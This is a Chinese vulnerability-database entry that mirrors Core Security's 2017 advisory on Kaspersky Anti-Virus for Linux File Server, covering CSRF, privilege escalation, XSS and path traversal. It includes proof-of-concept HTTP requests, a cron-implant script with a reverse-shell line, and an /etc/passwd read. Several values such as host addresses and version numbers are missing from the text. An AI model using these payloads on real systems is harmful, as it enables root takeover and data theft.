发布时间 :2017-07-17 17:29:00
修订时间 :2017-08-11 21:29:08

[原文]In Kaspersky Anti-Virus for Linux File Server before Maintenance Pack 2 Critical Fix 4 (version, the scriptName parameter of the licenseKeyInfo action method is vulnerable to cross-site scripting (XSS).



- CVSS (基础分值)

CVSS分值: 4.3 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: MEDIUM [漏洞利用存在一定的访问条件]
攻击向量: NETWORK [攻击者不需要获取内网访问权或本地访问权]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-79 [在Web页面生成时对输入的转义处理不恰当(跨站脚本)]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD

- 其它链接及资源
(VENDOR_ADVISORY)  FULLDISC  20170628 [CORE-2017-0003] - Kaspersky Anti-Virus File Server Multiple Vulnerabilities

- 漏洞信息 (F143190)

Kaspersky Anti-Virus File Server XSS / CSRF / Code Execution (PacketStormID:F143190)
2017-06-29 00:00:00
Core Security Technologies,Maximiliano Vidal,Leandro Barragan
exploit,remote,vulnerability,code execution,virus,xss,info disclosure,csrf

Kaspersky Anti-Virus for Linux File Server version suffers from remote code execution, cross site request forgery, cross site scripting, security bypass, information disclosure, and path traversal vulnerabilities.

1. *Advisory Information*

Title: Kaspersky Anti-Virus File Server Multiple Vulnerabilities
Advisory ID: CORE-2017-0003
Advisory URL:
Date published: 2017-06-28
Date of last update: 2017-06-28
Vendors contacted: Kaspersky
Release mode: Forced release

2. *Vulnerability Information*

Class: Improper Neutralization of Input During Web Page Generation
('Cross-site Scripting') [CWE-79], Cross-Site Request Forgery [CWE-352],
Improper Privilege Management [CWE-269], Improper Limitation of a
Pathname to a Restricted Directory [CWE-22]
Impact: Code execution, Security bypass, Information leak
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2017-9813, CVE-2017-9810, CVE-2017-9811, CVE-2017-9812

3. *Vulnerability Description*

From Kaspersky Lab's website:
"Large corporate networks that use file servers running on different
platforms can be a real headache when it comes to antivirus protection.
Kaspersky Anti-Virus for Linux File Server is part of our range of new
and refreshed products, solutions and services for heterogeneous
networks. It provides a superior protection with Samba server
integration and other features that can protect workstations and file
servers in even the most complex heterogeneous networks. It is also
certified VMware Ready and supports current versions of FreeBSD for
integrated, future-proof protection."

Multiple vulnerabilities were found in the Kaspersky Anti-Virus for
Linux File Server [2] Web Management Console. It is possible for a
remote attacker to abuse these vulnerabilities and gain command
execution as root.

4. *Vulnerable Packages*

. Kaspersky Anti-Virus for Linux File Server [2]
Other products and versions might be affected, but they were not tested.

5. *Vendor Information, Solutions and Workarounds*

Kaspersky [1] published the following Maintenance Pack:
   . Maintenance Pack 2 Critical Fix 4 (version

6. *Credits*

This vulnerability was discovered and researched by Leandro Barragan
and Maximiliano Vidal from Core Security Consulting Services. The
publication of this advisory was coordinated by Alberto Solino from
Core Advisories Team.

7. *Technical Description / Proof of Concept Code*

Kaspersky Anti-virus for Linux File Server comes bundled with a Web
Management Console to monitor the application's status and manage its

One specific feature allows configuring shell scripts to be executed
when certain events occur. This functionality is vulnerable to
cross-site request forgery, allowing code execution in the context of
the web application as the kluser account. The vulnerability is
described in section 7.1.

Moreover, it is possible to elevate privileges from kluser to root by
abusing the quarantine functionality provided by the kav4fs-control
system binary. This is described in section 7.2.

Additional web application vulnerabilities were found, including a
reflected cross-site scripting vulnerability (7.3) and a path traversal
vulnerability (7.4).

7.1. *Cross-site Request Forgery leading to Remote Command Execution*

[CVE-2017-9810]: There are no Anti-CSRF tokens in any forms on the web
interface. This would allow an attacker to submit authenticated requests
when an authenticated user browses an attacker-controlled domain.

The following request will update the notification settings to run a
shell command when an object is moved to quarantine. For the full list
of events refer to the product's documentation. Note that it is possible
to add a script to all existing events in a single request, widening the
window of exploitation.

The proof-of-concept creates the file /tmp/pepperoni. Shell commands
are run as the lower privilege kluser.

"notifier": {"Actions": [{"Command": "touch /tmp/pepperoni",
"EventName": 22, "Enable": true, "__VersionInfo": "1 0"}]


POST /cgi-bin/cgictl?action=setTaskSettings HTTP/1.1
Host: <server IP>:9080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0)
Gecko/20100101 Firefox/52.0
Accept: application/json, text/javascript, */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Referer: http://<server IP>:9080/
Content-Length: 3273
Cookie: wmc_useWZRDods=true; wmc_sid=690DE0005C5625A420255EFEBB3349F7;
wmc_backupSimpleMode=1; wmc_quaSimpleMode=1;
iconsole_test; wmc_show_licence_descr=false
Connection: close



7.2. *Privilege escalation due to excessive permissions*

[CVE-2017-9811]: The kluser is able to interact with the kav4fs-control
binary. By abusing the quarantine read and write operations, it is
possible to elevate the privileges to root.

The following proof-of-concept script adds a cron job that will be
executed as root.

# Make sure the application is running
/opt/kaspersky/kav4fs/bin/kav4fs-control --start-app

# Create cron job in /tmp
echo "* * * * * root /tmp/" > /tmp/badcron

# Sample reverse shell payload
cat > /tmp/ << EOF
bash -i >& /dev/tcp/ 0>&1
chmod +x /tmp/

# Move the cron job to quarantine and grab the object ID
QUARANTINE_ID=$(/opt/kaspersky/kav4fs/bin/kav4fs-control -Q
--add-object /tmp/badcron | cut -d'=' -f2 | cut -d'.' -f1)

# Restore the file to /etc/cron.d
/opt/kaspersky/kav4fs/bin/kav4fs-control -Q --restore $QUARANTINE_ID
--file /etc/cron.d/implant

7.3. *Reflected cross-site scripting*

[CVE-2017-9813]: The scriptName parameter of the licenseKeyInfo action
method is vulnerable to cross-site scripting.


7.4. *Path traversal*

[CVE-2017-9812]: The reportId parameter of the getReportStatus action
method can be abused to read arbitrary files with kluser privileges.
The following proof-of-concept reads the /etc/passwd file.

Host: <server IP>:9080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0)
Gecko/20100101 Firefox/52.0
Accept: application/json, text/javascript, */*
Accept-Language: en-US,en;q=0.5
Referer: http://<server IP>:9080/
Cookie: iconsole_test; wmc_useWZRDods=true;
wmc_sid=99E61AFCD3EC96F5E349AB439DAE46C4; wmc_full_stat=1;
wmc_logsSimpleMode=1; wmc_backupSimpleMode=0; wmc_quaSimpleMode=1;
Connection: close

8. *Report Timeline*
. 2017-04-03: Core Security sent an initial notification to Kaspersky,
including a draft advisory.
. 2017-04-03: Kaspersky confirmed reception of advisory and informed
they will submit it to the relevant technical team for validation and
. 2017-04-06: Kaspersky confirmed they could reproduce three out of
five reported vulnerabilities and asked us opinion on their
justifications about mitigating factors on the other two. They also said
they would inform us about a fix date in a few days.
. 2017-04-06: Core Security thanked the confirmation and sent
justification for one of the vulnerabilities questioned. Core Security
agreed on removing one reported vulnerability since it can be mitigated
via a product setting.
. 2017-04-25: Kaspersky confirmed the rest of the vulnerabilities
reported and are working on a fix. They said fixes will be released
"till the June, 30", and also said will inform us the exact dates by
the end of June.
. 2017-04-25: Core Security thanked the confirmation of the final
vulnerabilities list and asked for clarification about the release date.
. 2017-04-25: Kaspersky clarified they will release the fix by June
30th and will let us know the exact date by mid June.
. 2017-06-19: Kaspersky mentioned they would like to go ahead with the
publication on June 30th and also asked for CVEs.
. 2017-06-19: Core Security answer back proposing advisory publication
to be July 3rd in order to avoid advisory publication on a Friday. Also
asked for clarification about a fix dated June 14th found by Core
Security researchers and whether or not it fixes the vulnerabilities
. 2017-06-21: Kaspersky answered back stating the fix dated June 14th
is related to fixes for reported vulnerabilities.
. 2017-06-21: Core Security asked if the June 14th patch (ID 13738) is
fixing *all* the vulnerabilities reported in the current advisory. If
so Core Security will be releasing the advisory sooner than planned.
Reminded Kaspersky said they would release the fixes by June 30th.
. 2017-06-22: Core Security sent a draft advisory with the final CVE
IDs for each vulnerability.
. 2017-06-23: Kaspersky said they will clarify about patch 13738 ASAP
and also noted about a typo in the advisory's timeline.
. 2017-06-23: Core Security requested again we need clarification
around patch 13738 as soon as possible.
. 2017-06-26: Core Security reviewed the patch released in June 14th
and confirmed it addresses all the vulnerabilities reported. Core
Security informed Kaspersky this advisory will be published as a
FORCED release on Wednesday 28th.
. 2017-06-28: Advisory CORE-2017-0003 published.

9. *References*


10. *About CoreLabs*

CoreLabs, the research center of Core Security, is charged with
anticipating the future needs and requirements for information security
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use

11. *About Core Security*

Courion and Core Security have rebranded the combined company, changing
its name to Core Security, to reflect the company's strong commitment to
providing enterprises with market-leading, threat-aware, identity,
access and vulnerability management solutions that enable actionable
intelligence and context needed to manage security risks across the
enterprise. Core Security's analytics-driven approach to security
enables customers to manage access and identify vulnerabilities, in
order to minimize risks and maintain continuous compliance. Solutions
include Multi-Factor Authentication, Provisioning, Identity Governance
and Administration (IGA), Identity and Access Intelligence (IAI), and
Vulnerability Management (VM). The combination of these solutions
provides context and shared intelligence through analytics, giving
customers a more comprehensive view of their security posture so they
can make more informed, prioritized, and better security remediation

Core Security is headquartered in the USA with offices and operations in
South America, Europe, Middle East and Asia. To learn more, contact Core
Security at (678) 304-4500 or

12. *Disclaimer*

The contents of this advisory are copyright (c) 2017 Core Security
and (c) 2017 CoreLabs, and are licensed under a Creative Commons
Attribution Non-Commercial Share-Alike 3.0 (United States) License:

13. *PGP/GPG Keys*

This advisory has been signed with the GPG key of Core Security
advisories team, which is available for download at


- 漏洞信息

Kaspersky Anti-Virus for Linux File Server Multiple Security Vulnerabilities
Unknown 99330
Yes No
2017-06-29 12:00:00 2017-06-29 12:00:00
Leandro Barragan and Maximiliano Vidal from Core Security Consulting Services.

- 受影响的程序版本

Kaspersky Anti-Virus for Linux File Server
,Kaspersky Anti-Virus for Linux File Server

- 不受影响的程序版本

Kaspersky Anti-Virus for Linux File Server

- 漏洞讨论

Kaspersky Anti-Virus for Linux File Server is prone to the following multiple security vulnerabilities:

1. A cross-site request-forgery vulnerability
2. A privilege-escalation vulnerability
3. A cross-site scripting vulnerability
4. A directory-traversal vulnerability

Exploiting these issues will allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, obtain sensitive information, execute arbitrary code with root privileges, and perform unauthorized actions. Failed exploits can result in a denial-of-service condition.

Kaspersky Anti-Virus for Linux File Server is vulnerable; other versions may also be affected.

- 漏洞利用

Currently, we are not aware of any working exploits. If you feel we are in error or if you are aware of more recent information, please mail us at:

- 解决方案

Updates are available. Please see the references or vendor advisory for more information.

- 相关参考